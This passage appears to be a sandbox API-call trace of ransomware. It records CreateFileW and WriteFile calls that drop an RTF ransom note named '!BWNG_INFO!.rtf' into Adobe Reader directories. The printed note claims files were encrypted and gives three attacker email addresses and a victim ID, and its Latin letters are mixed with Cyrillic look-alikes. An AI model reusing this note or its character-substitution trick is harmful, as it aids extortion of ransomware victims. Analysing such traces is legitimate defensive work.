d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n«\x0e=£\x13\x0f»ò\x8eZ_\x90$u%\x12\\ÇÙ \x97¾I\x88TÑðé¯R\x03\x09", lpUsedDefaultChar=0x0) returned 14086 [0040.543] WriteFile (in: hFile=0x1cc, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0040.544] CloseHandle (hObject=0x1cc) returned 1 [0040.544] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\jpn\\!bwng_info!.rtf")) returned 0xffffffff [0040.545] GetLastError () returned 0x2 [0040.545] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\jpn\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0040.545] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r 